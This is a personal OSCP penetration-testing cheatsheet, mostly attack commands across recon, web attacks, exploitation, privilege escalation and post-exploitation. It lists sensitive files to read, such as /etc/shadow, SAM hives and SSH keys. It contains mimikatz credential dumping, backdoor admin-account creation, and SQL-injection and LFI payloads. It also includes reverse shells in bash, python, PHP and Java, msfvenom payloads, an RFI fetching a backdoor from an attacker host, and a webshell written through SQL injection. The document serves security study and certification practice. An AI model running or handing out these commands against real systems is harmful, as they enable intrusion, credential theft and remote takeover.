- I prepared this cheatsheet as part of my OSCP preperation.
- I'll keep this updating.
- For any suggestions mail me [email protected]
- General
- Recon and Enumeration
- Web Attacks
- Exploitation
- Windows Privilege Escalation
- Linux Privilege Escalation
- Post Exploitation
- Active Directory Pentesting
-
Windows
C:/Users/Administrator/NTUser.dat C:/Documents and Settings/Administrator/NTUser.dat C:/apache/logs/access.log C:/apache/logs/error.log C:/apache/php/php.ini C:/boot.ini C:/inetpub/wwwroot/global.asa C:/MySQL/data/hostname.err C:/MySQL/data/mysql.err C:/MySQL/data/mysql.log C:/MySQL/my.cnf C:/MySQL/my.ini C:/php4/php.ini C:/php5/php.ini C:/php/php.ini C:/Program Files/Apache Group/Apache2/conf/httpd.conf C:/Program Files/Apache Group/Apache/conf/httpd.conf C:/Program Files/Apache Group/Apache/logs/access.log C:/Program Files/Apache Group/Apache/logs/error.log C:/Program Files/FileZilla Server/FileZilla Server.xml C:/Program Files/MySQL/data/hostname.err C:/Program Files/MySQL/data/mysql-bin.log C:/Program Files/MySQL/data/mysql.err C:/Program Files/MySQL/data/mysql.log C:/Program Files/MySQL/my.ini C:/Program Files/MySQL/my.cnf C:/Program Files/MySQL/MySQL Server 5.0/data/hostname.err C:/Program Files/MySQL/MySQL Server 5.0/data/mysql-bin.log C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.err C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.log C:/Program Files/MySQL/MySQL Server 5.0/my.cnf C:/Program Files/MySQL/MySQL Server 5.0/my.ini C:/Program Files (x86)/Apache Group/Apache2/conf/httpd.conf C:/Program Files (x86)/Apache Group/Apache/conf/httpd.conf C:/Program Files (x86)/Apache Group/Apache/conf/access.log C:/Program Files (x86)/Apache Group/Apache/conf/error.log C:/Program Files (x86)/FileZilla Server/FileZilla Server.xml C:/Program Files (x86)/xampp/apache/conf/httpd.conf C:/WINDOWS/php.ini C:/WINDOWS/Repair/SAM C:/Windows/repair/system C:/Windows/repair/software C:/Windows/repair/security C:/WINDOWS/System32/drivers/etc/hosts C:/Windows/win.ini C:/WINNT/php.ini C:/WINNT/win.ini C:/xampp/apache/bin/php.ini C:/xampp/apache/logs/access.log C:/xampp/apache/logs/error.log C:/Windows/Panther/Unattend/Unattended.xml C:/Windows/Panther/Unattended.xml C:/Windows/debug/NetSetup.log C:/Windows/system32/config/AppEvent.Evt C:/Windows/system32/config/SecEvent.Evt C:/Windows/system32/config/default.sav C:/Windows/system32/config/security.sav C:/Windows/system32/config/software.sav C:/Windows/system32/config/system.sav C:/Windows/system32/config/regback/default C:/Windows/system32/config/regback/sam C:/Windows/system32/config/regback/security C:/Windows/system32/config/regback/system C:/Windows/system32/config/regback/software C:/Program Files/MySQL/MySQL Server 5.1/my.ini C:/Windows/System32/inetsrv/config/schema/ASPNET_schema.xml C:/Windows/System32/inetsrv/config/applicationHost.config C:/inetpub/logs/LogFiles/W3SVC1/u_ex[YYMMDD].log
-
Linux
/etc/passwd /etc/shadow /etc/aliases /etc/anacrontab /etc/apache2/apache2.conf /etc/apache2/httpd.conf /etc/apache2/sites-enabled/000-default.conf /etc/at.allow /etc/at.deny /etc/bashrc /etc/bootptab /etc/chrootUsers /etc/chttp.conf /etc/cron.allow /etc/cron.deny /etc/crontab /etc/cups/cupsd.conf /etc/exports /etc/fstab /etc/ftpaccess /etc/ftpchroot /etc/ftphosts /etc/groups /etc/grub.conf /etc/hosts /etc/hosts.allow /etc/hosts.deny /etc/httpd/access.conf /etc/httpd/conf/httpd.conf /etc/httpd/httpd.conf /etc/httpd/logs/access_log /etc/httpd/logs/access.log /etc/httpd/logs/error_log /etc/httpd/logs/error.log /etc/httpd/php.ini /etc/httpd/srm.conf /etc/inetd.conf /etc/inittab /etc/issue /etc/knockd.conf /etc/lighttpd.conf /etc/lilo.conf /etc/logrotate.d/ftp /etc/logrotate.d/proftpd /etc/logrotate.d/vsftpd.log /etc/lsb-release /etc/motd /etc/modules.conf /etc/motd /etc/mtab /etc/my.cnf /etc/my.conf /etc/mysql/my.cnf /etc/network/interfaces /etc/networks /etc/npasswd /etc/passwd /etc/php4.4/fcgi/php.ini /etc/php4/apache2/php.ini /etc/php4/apache/php.ini /etc/php4/cgi/php.ini /etc/php4/apache2/php.ini /etc/php5/apache2/php.ini /etc/php5/apache/php.ini /etc/php/apache2/php.ini /etc/php/apache/php.ini /etc/php/cgi/php.ini /etc/php.ini /etc/php/php4/php.ini /etc/php/php.ini /etc/printcap /etc/profile /etc/proftp.conf /etc/proftpd/proftpd.conf /etc/pure-ftpd.conf /etc/pureftpd.passwd /etc/pureftpd.pdb /etc/pure-ftpd/pure-ftpd.conf /etc/pure-ftpd/pure-ftpd.pdb /etc/pure-ftpd/putreftpd.pdb /etc/redhat-release /etc/resolv.conf /etc/samba/smb.conf /etc/snmpd.conf /etc/ssh/ssh_config /etc/ssh/sshd_config /etc/ssh/ssh_host_dsa_key /etc/ssh/ssh_host_dsa_key.pub /etc/ssh/ssh_host_key /etc/ssh/ssh_host_key.pub /etc/sysconfig/network /etc/syslog.conf /etc/termcap /etc/vhcs2/proftpd/proftpd.conf /etc/vsftpd.chroot_list /etc/vsftpd.conf /etc/vsftpd/vsftpd.conf /etc/wu-ftpd/ftpaccess /etc/wu-ftpd/ftphosts /etc/wu-ftpd/ftpusers /logs/pure-ftpd.log /logs/security_debug_log /logs/security_log /opt/lampp/etc/httpd.conf /opt/xampp/etc/php.ini /proc/cmdline /proc/cpuinfo /proc/filesystems /proc/interrupts /proc/ioports /proc/meminfo /proc/modules /proc/mounts /proc/net/arp /proc/net/tcp /proc/net/udp /proc/<PID>/cmdline /proc/<PID>/maps /proc/sched_debug /proc/self/cwd/app.py /proc/self/environ /proc/self/net/arp /proc/stat /proc/swaps /proc/version /root/anaconda-ks.cfg /usr/etc/pure-ftpd.conf /usr/lib/php.ini /usr/lib/php/php.ini /usr/local/apache/conf/modsec.conf /usr/local/apache/conf/php.ini /usr/local/apache/log /usr/local/apache/logs /usr/local/apache/logs/access_log /usr/local/apache/logs/access.log /usr/local/apache/audit_log /usr/local/apache/error_log /usr/local/apache/error.log /usr/local/cpanel/logs /usr/local/cpanel/logs/access_log /usr/local/cpanel/logs/error_log /usr/local/cpanel/logs/license_log /usr/local/cpanel/logs/login_log /usr/local/cpanel/logs/stats_log /usr/local/etc/httpd/logs/access_log /usr/local/etc/httpd/logs/error_log /usr/local/etc/php.ini /usr/local/etc/pure-ftpd.conf /usr/local/etc/pureftpd.pdb /usr/local/lib/php.ini /usr/local/php4/httpd.conf /usr/local/php4/httpd.conf.php /usr/local/php4/lib/php.ini /usr/local/php5/httpd.conf /usr/local/php5/httpd.conf.php /usr/local/php5/lib/php.ini /usr/local/php/httpd.conf /usr/local/php/httpd.conf.ini /usr/local/php/lib/php.ini /usr/local/pureftpd/etc/pure-ftpd.conf /usr/local/pureftpd/etc/pureftpd.pdn /usr/local/pureftpd/sbin/pure-config.pl /usr/local/www/logs/httpd_log /usr/local/Zend/etc/php.ini /usr/sbin/pure-config.pl /var/adm/log/xferlog /var/apache2/config.inc /var/apache/logs/access_log /var/apache/logs/error_log /var/cpanel/cpanel.config /var/lib/mysql/my.cnf /var/lib/mysql/mysql/user.MYD /var/local/www/conf/php.ini /var/log/apache2/access_log /var/log/apache2/access.log /var/log/apache2/error_log /var/log/apache2/error.log /var/log/apache/access_log /var/log/apache/access.log /var/log/apache/error_log /var/log/apache/error.log /var/log/apache-ssl/access.log /var/log/apache-ssl/error.log /var/log/auth.log /var/log/boot /var/htmp /var/log/chttp.log /var/log/cups/error.log /var/log/daemon.log /var/log/debug /var/log/dmesg /var/log/dpkg.log /var/log/exim_mainlog /var/log/exim/mainlog /var/log/exim_paniclog /var/log/exim.paniclog /var/log/exim_rejectlog /var/log/exim/rejectlog /var/log/faillog /var/log/ftplog /var/log/ftp-proxy /var/log/ftp-proxy/ftp-proxy.log /var/log/httpd-access.log /var/log/httpd/access_log /var/log/httpd/access.log /var/log/httpd/error_log /var/log/httpd/error.log /var/log/httpsd/ssl.access_log /var/log/httpsd/ssl_log /var/log/kern.log /var/log/lastlog /var/log/lighttpd/access.log /var/log/lighttpd/error.log /var/log/lighttpd/lighttpd.access.log /var/log/lighttpd/lighttpd.error.log /var/log/mail.info /var/log/mail.log /var/log/maillog /var/log/mail.warn /var/log/message /var/log/messages /var/log/mysqlderror.log /var/log/mysql.log /var/log/mysql/mysql-bin.log /var/log/mysql/mysql.log /var/log/mysql/mysql-slow.log /var/log/proftpd /var/log/pureftpd.log /var/log/pure-ftpd/pure-ftpd.log /var/log/secure /var/log/vsftpd.log /var/log/wtmp /var/log/xferlog /var/log/yum.log /var/mysql.log /var/run/utmp /var/spool/cron/crontabs/root /var/webmin/miniserv.log /var/www/html<VHOST>/__init__.py /var/www/html/db_connect.php /var/www/html/utils.php /var/www/log/access_log /var/www/log/error_log /var/www/logs/access_log /var/www/logs/error_log /var/www/logs/access.log /var/www/logs/error.log ~/.atfp_history ~/.bash_history ~/.bash_logout ~/.bash_profile ~/.bashrc ~/.gtkrc ~/.login ~/.logout ~/.mysql_history ~/.nano_history ~/.php_history ~/.profile ~/.ssh/authorized_keys #id_rsa, id_ecdsa, id_ecdsa_sk, id_ed25519, id_ed25519_sk, and id_dsa ~/.ssh/id_dsa ~/.ssh/id_dsa.pub ~/.ssh/id_rsa ~/.ssh/id_edcsa ~/.ssh/id_rsa.pub ~/.ssh/identity ~/.ssh/identity.pub ~/.viminfo ~/.wm_style ~/.Xdefaults ~/.xinitrc ~/.Xresources ~/.xsession
- Downloading on Windows
powershell -command Invoke-WebRequest -Uri http://<LHOST>:<LPORT>/<FILE> -Outfile C:\\temp\\<FILE>
iwr -uri http://lhost/file -Outfile file
certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>
copy \\kali\share\file .- Downloading on Linux
wget http://lhost/file
curl http://<LHOST>/<FILE> > <OUTPUT_FILE>kali> impacket-smbserver -smb2support <sharename> .
win> copy file \\KaliIP\sharenamenet user hacker hacker123 /add
net localgroup Administrators hacker /add
net localgroup "Remote Desktop Users" hacker /ADDadduser <uname> #Interactive
useradd <uname>
useradd -u <UID> -g <group> <uname> #UID can be something new than existing, this command is to add a user to a specific groupHash Analyzer: https://www.tunnelsup.com/hash-analyzer/
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt <FILE>.zip #Cracking zip filesssh2john.py id_rsa > hash
#Convert the obtained hash to John format(above link)
john hashfile --wordlist=rockyou.txt#Obtain the Hash module number
hashcat -m <number> hash wordlists.txt --forceprivilege::debug
sekurlsa::logonpasswords #hashes and plaintext passwords
lsadump::sam
lsadump::lsa /patch #both these dump SAM
#OneLiner
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
#Creating interface and starting it.
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
#Kali machine - Attacker machine
./proxy -laddr <LHOST>:9001 -selfcert
#windows or linux machine - compromised machine
./agent -connect <LHOST>:9001 -ignore-cert
#In Ligolo-ng console
session #select host
ifconfig #Notedown the internal network's subnet
start #after adding relevent subnet to ligolo interface
#Adding subnet to ligolo interface - Kali linux
sudo ip r add <subnet> dev ligolo
-
OSINT OR Passive Recon
💡 Not that useful for OSCP as we’ll be dealing with internal machines- whois:
whois <domain>orwhois <domain> -h <IP> - Google dorking,
- site
- filetype
- intitle
- GHDB - Google hacking database
- OS and Service Information using searchdns.netcraft.com
- Github dorking
- filename
- user
- A tool called Gitleaks for automated enumeration
- Shodan dorks
- hostname
- port
- Then gather infor by going through the options
- Scanning Security headers and SSL/TLS using https://securityheaders.com/
- whois:
#use -Pn option if you're getting nothing in scan
nmap -sC -sV <IP> -v #Basic scan
nmap -T4 -A -p- <IP> -v #complete scan
sudo nmap -sV -p 443 --script "vuln" 192.168.50.124 #running vuln category scripts
#NSE
updatedb
locate .nse | grep <name>
sudo nmap --script="name" <IP> #here we can specify other options like specific ports...etc
Test-NetConnection -Port <port> <IP> #powershell utility
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("IP", $_)) "TCP port $_ is open"} 2>$null #automating port scan of first 1024 ports in powershellftp <IP>
#login if you have relevant creds or based on nmpa scan find out whether this has anonymous login or not, then loginwith Anonymous:password
put <file> #uploading file
get <file> #downloading file
#NSE
locate .nse | grep ftp
nmap -p21 --script=<name> <IP>
#bruteforce
hydra -L users.txt -P passwords.txt <IP> ftp #'-L' for usernames list, '-l' for username and viceversa
#check for vulnerabilities associated with the version identified.#Login
ssh uname@IP #enter password in the prompt
#id_rsa or id_ecdsa file
chmod 600 id_rsa/id_ecdsa
ssh uname@IP -i id_rsa/id_ecdsa #if it still asks for password, crack them using John
#cracking id_rsa or id_ecdsa
ssh2john id_ecdsa(or)id_rsa > hash
john --wordlist=/home/sathvik/Wordlists/rockyou.txt hash
#bruteforce
hydra -l uname -P passwords.txt <IP> ssh #'-L' for usernames list, '-l' for username and viceversa
#check for vulnerabilities associated with the version identified.sudo nbtscan -r 192.168.50.0/24 #IP or range can be provided
#NSE scripts can be used
locate .nse | grep smb
nmap -p445 --script="name" $IP
#In windows we can view like this
net view \\<computername/IP> /all
#crackmapexec
crackmapexec smb <IP/range>
crackmapexec smb 192.168.1.100 -u username -p password
crackmapexec smb 192.168.1.100 -u username -p password --shares #lists available shares
crackmapexec smb 192.168.1.100 -u username -p password --users #lists users
crackmapexec smb 192.168.1.100 -u username -p password --all #all information
crackmapexec smb 192.168.1.100 -u username -p password -p 445 --shares #specific port
crackmapexec smb 192.168.1.100 -u username -p password -d mydomain --shares #specific domain
#Inplace of username and password, we can include usernames.txt and passwords.txt for password-spraying or bruteforcing.
# Smbclient
smbclient -L //IP #or try with 4 /'s
smbclient //server/share
smbclient //server/share -U <username>
mbclient //server/share -U domain/username
#SMBmap
smbmap -H <target_ip>
smbmap -H <target_ip> -u <username> -p <password>
smbmap -H <target_ip> -u <username> -p <password> -d <domain>
smbmap -H <target_ip> -u <username> -p <password> -r <share_name>
#Within SMB session
put <file> #to upload file
get <file> #to download file- Downloading shares made easy - if the folder consists of several files, they all be downloading by this.
mask ""
recurse ON
prompt OFF
mget *- View source-code and identify any hidden content. If some image looks suspicious download and try to find hidden data in it.
- Identify the version or CMS and check for active exploits. This can be done using Nmap and Wappalyzer.
- check /robots.txt folder
- Look for the hostname and add the relevant one to
/etc/hostsfile. - Directory and file discovery - Obtain any hidden files which may contain juicy information
dirbuster
gobuster dir -u http://example.com -w /path/to/wordlist.txt
python3 dirsearch.py -u http://example.com -w /path/to/wordlist.txt- Vulnerability Scanning using nikto:
nikto -h <url> - SSL certificate inspection, this may reveal information like subdomains, usernames…etc
- Default credentials, Identify the CMS or service ans check for default credentials and test them out.
- Bruteforce
hydra -L users.txt -P password.txt <IP or domain> http-{post/get}-form "/path:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https, post or get can be obtained from Burpsuite. Also do capture the response for detailed info.
#Bruteforce can also be done by Burpsuite but it's slow, prefer Hydra!- if
cgi-binis present then do further fuzzing and obtain files like .sh or .pl - Check if other services like FTP/SMB or anyothers which has upload privileges are getting reflected on web.
- API - Fuzz further and it can reveal some sensitive information
#identifying endpoints using gobuster
gobuster dir -u http://192.168.50.16:5002 -w /usr/share/wordlists/dirb/big.txt -p pattern #pattern can be like {GOBUSTER}/v1 here v1 is just for example, it can be anything
#obtaining info using curl
curl -i http://192.168.50.16:5002/users/v1- If there is any Input field check for Remote Code execution or SQL Injection
- Check the URL, whether we can leverage Local or Remote File Inclusion.
- Also check if there’s any file upload utility(also obtain the location it’s getting reflected)
# basic usage
wpscan --url "target" --verbose
# enumerate vulnerable plugins, users, vulrenable themes, timthumbs
wpscan --url "target" --enumerate vp,u,vt,tt --follow-redirection --verbose --log target.log
# Add Wpscan API to get the details of vulnerabilties.droopescan scan drupal -u http://sitedroopescan scan joomla --url http://site
sudo python3 joomla-brute.py -u http://site/ -w passwords.txt -usr username #https://github.com/ajnik/joomla-bruteforce host www.megacorpone.com
host -t mx megacorpone.com
host -t txt megacorpone.com
for ip in $(seq 200 254); do host 51.222.169.$ip; done | grep -v "not found" #bash bruteforcer to find domain name
dnsrecon -d megacorpone.com -t std #standard recon
dnsrecon -d megacorpone.com -D ~/list.txt -t brt #bruteforce, hence we provided list
dnsenum megacorpone.com
nslookup mail.megacorptwo.com
nslookup -type=TXT info.megacorptwo.com 192.168.50.151 #we're querying with a specific IPnc -nv <IP> 25 #Version Detection
smtp-user-enum -M VRFY -U username.txt -t <IP> # -M means mode, it can be RCPT, VRFY, EXPN
#Sending email with valid credentials, the below is an example for Phishing mail attack
sudo swaks -t [email protected] -t [email protected] --from [email protected] --server <mailserver-IP> --body @body.txt --header "Test" --suppress-data -apldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
#CN name describes the info w're collecting
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
#windapsearch.py
#for computers
python3 windapsearch.py --dc-ip <IP address> -u <username> -p <password> --computers
#for groups
python3 windapsearch.py --dc-ip <IP address> -u <username> -p <password> --groups
#for users
python3 windapsearch.py --dc-ip <IP address> -u <username> -p <password> --da
#for privileged users
python3 windapsearch.py --dc-ip <IP address> -u <username> -p <password> --privileged-usersnmap -sV --script=nfs-showmount <IP>
showmount -e <IP>snmpcheck -t <IP> -c public
snmpwalk -c public -v1 -t 10 <IP>
snmpenum -t <IP>rpcclient -U=user $DCIP
rpcclient -U="" $DCIP #Anonymous login
##Commands within in RPCclient
srvinfo
enumdomusers #users
enumpriv #like "whoami /priv"
queryuser <user> #detailed user info
getuserdompwinfo <RID> #password policy, get user-RID from previous command
lookupnames <user> #SID of specified user
createdomuser <username> #Creating a user
deletedomuser <username>
enumdomains
enumdomgroups
querygroup <group-RID> #get rid from previous command
querydispinfo #description of all users
netshareenum #Share enumeration, this only comesup if the current user we're logged in has permissions
netshareenumall
lsaenumsid #SID of all users💡 Cross-platform PHP revershell: https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php
cat /etc/passwd #displaying content through absolute path
cat ../../../etc/passwd #relative path
# if the pwd is /var/log/ then in order to view the /etc/passwd it will be like this
cat ../../etc/passwd
#In web int should be exploited like this, find a parameters and test it out
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd
#check for id_rsa, id_ecdsa
#If the output is not getting formatted properly then,
curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd
#For windows
http://192.168.221.193:3000/public/plugins/alertlist/../../../../../../../../Users/install.txt #no need to provide drive- URL Encoding
#Sometimes it doesn't show if we try path, then we need to encode them
curl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd- Wordpress
- Simple exploit: https://github.com/leonjza/wordpress-shell
- Main difference between Directory traversal and this attack is, here we’re able to execute commands remotely.
#At first we need
http://192.168.45.125/index.php?page=../../../../../../../../../var/log/apache2/access.log&cmd=whoami #we're passing a command here
#Reverse shells
bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1"
#We can simply pass a reverse shell to the cmd parameter and obtain reverse-shell
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22 #encoded version of above reverse-shell
#PHP wrapper
curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain,<?php%20echo%20system('uname%20-a');?>"
curl http://mountaindesserts.com/meteor/index.php?page=php://filter/convert.base64-encode/resource=/var/www/html/backup.php - Remote file inclusion
1. Obtain a php shell
2. host a file server
3.
http://mountaindesserts.com/meteor/index.php?page=http://attacker-ip/simple-backdoor.php&cmd=ls
we can also host a php reverseshell and obtain shell.admin' or '1'='1
' or '1'='1
" or "1"="1
" or "1"="1"--
" or "1"="1"/*
" or "1"="1"#
" or 1=1
" or 1=1 --
" or 1=1 -
" or 1=1--
" or 1=1/*
" or 1=1#
" or 1=1-
") or "1"="1
") or "1"="1"--
") or "1"="1"/*
") or "1"="1"#
") or ("1"="1
") or ("1"="1"--
") or ("1"="1"/*
") or ("1"="1"#
) or '1`='1-- Blind SQL Injection - This can be identified by Time-based SQLI
#Application takes some time to reload, here it is 3 seconds
http://192.168.50.16/blindsqli.php?user=offsec' AND IF (1=1, sleep(3),'false') -- //- Manual Code Execution
kali> impacket-mssqlclient Administrator:[email protected] -windows-auth #To login
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
#Now we can run commands
EXECUTE xp_cmdshell 'whoami';
#Sometimes we may not have direct access to convert it to RCE from web, then follow below steps
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- // #Writing into a new file
#Now we can exploit it
http://192.168.45.285/tmp/webshell.php?cmd=id #Command execution- SQLMap - Automated Code execution
sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user #Testing on parameter names "user", we'll get confirmation
sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user --dump #Dumping database
#OS Shell
# Obtain the Post request from Burp suite and save it to post.txt
sqlmap -r post.txt -p item --os-shell --web-root "/var/www/html/tmp" #/var/www/html/tmp is the writable folder on target, hence we're writing there
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war
msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw > shell.phpbash -i >& /dev/tcp/10.0.0.1/4242 0>&1
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
<?php echo shell_exec('bash -i >& /dev/tcp/10.11.0.106/443 0>&1');?>
#For powershell use the encrypted tool that's in Tools folder- For Jenkins
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();#Starting, Restarting and Stopping services in Powershell
Start-Service <service>
Stop-Service <service>
Restart-Service <service>
#Powershell History
type C:\Users\sathvik\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
winpeas.exe
winpeas.bat
Jaws-enum.ps1
powerup.ps1
PrivescCheck.ps1- Command to check
whoami /priv
#Printspoofer
PrintSpoofer.exe -i -c powershell.exe
PrintSpoofer.exe -c "nc.exe <lhost> <lport> -e cmd"
#RoguePotato
RoguePotato.exe -r <AttackerIP> -e "shell.exe" -l 9999
#GodPotato
GodPotato.exe -cmd "cmd /c whoami"
GodPotato.exe -cmd "shell.exe"
#JuicyPotatoNG
JuicyPotatoNG.exe -t * -p "shell.exe" -a
#SharpEfsPotato
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
#writes whoami command to w.log file#Identify service from winpeas
icalcs "path" #F means full permission, we need to check we have full access on folder
sc qc <servicename> #find binarypath variable
sc config <service> <option>="<value>" #change the path to the reverseshell location
sc start <servicename>wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """ #Displays services which has missing quotes, this can slo be obtained by running WinPEAS
#Check the Writable path
icalcs "path"
#Insert the payload in writable location and which works.
sc start <servicename>#In Winpeas look for a service which has the following
File Permissions: Everyone [AllAccess]
#Replace the executable in the service folder and start the service
sc start <service>#Look for the following in Winpeas services info output
HKLM\system\currentcontrolset\services\<service> (Interactive [FullControl]) #This means we have ful access
accesschk /acceptula -uvwqk <path of registry> #Check for KEY_ALL_ACCESS
#Service Information from regedit, identify the variable which holds the executable
reg query <reg-path>
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
#Imagepath is the variable here
net start <service>#For checking, it will display some information with file-location
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
#Check the location is writable
accesschk.exe \accepteula -wvu "<path>" #returns FILE_ALL_ACCESS
#Replace the executable with the reverseshell and we need to wait till Admin logins, then we'll have shell#For checking, it should return 1 or Ox1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
#Creating a reverseshell in msi format
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<port> --platform windows -f msi > reverse.msi
#Execute and get shell
msiexec /quiet /qn /i reverse.msischtasks /query /fo LIST /v #Displays list of scheduled tasks, Pickup any interesting one
#Permission check - Writable means exploitable!
icalcs "path"
#Wait till the scheduled task in executed, then we'll get a shellC:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp #Startup applications can be found here
#Check writable permissions and transfer
#The only catch here is the system needs to be restarted#Check the applications that are running from "TaskManager" and obtain list of applications that are running as Privileged user
#Open that particular application, using "open" feature enter the following
file://c:/windows/system32/cmd.exe %SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini
Findstr /si password *.config
findstr /si pass/pwd *.ini
dir /s *pass* == *cred* == *vnc* == *.config*
in all files
findstr /spin "password" *.*
findstr /spin "password" *.*c:\sysprep.inf
c:\sysprep\sysprep.xml
c:\unattend.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml
dir /b /s unattend.xml
dir /b /s web.config
dir /b /s sysprep.inf
dir /b /s sysprep.xml
dir /b /s *pass*
dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.inireg query HKLM /f password /t REG_SZ /s
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
### VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKCU\Software\TightVNC\Server"
### Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
### SNMP Paramters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
### Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
### Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /scmdkey /list #Displays stored credentials, looks for any optential users
#Transfer the reverseshell
runas /savecred /user:admin C:\Temp\reverse.exe#If hashes are obtained though some means then use psexec, smbexec and obtain the shell as different user.
pth-winexe -U JEEVES/administrator%aad3b43XXXXXXXX35b51404ee:e0fb1fb857XXXXXXXX238cbe81fe00 //10.129.26.210 cmd.exepython -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
echo 'os.system('/bin/bash')'
/bin/sh -i
/bin/bash -i
perl -e 'exec "/bin/sh";'find / -writable -type d 2>/dev/null
dpkg -l #Installed applications on debian system
cat /etc/fstab #Listing mounted drives
lsblk #Listing all available drives
lsmod #Listing loaded drivers
linPEAS.sh
LinEnum.sh
linuxprivchecker.py
unix-privesc-check
Mestaploit: multi/recon/local_exploit_suggestercat .bashrc
env #checking environment variables
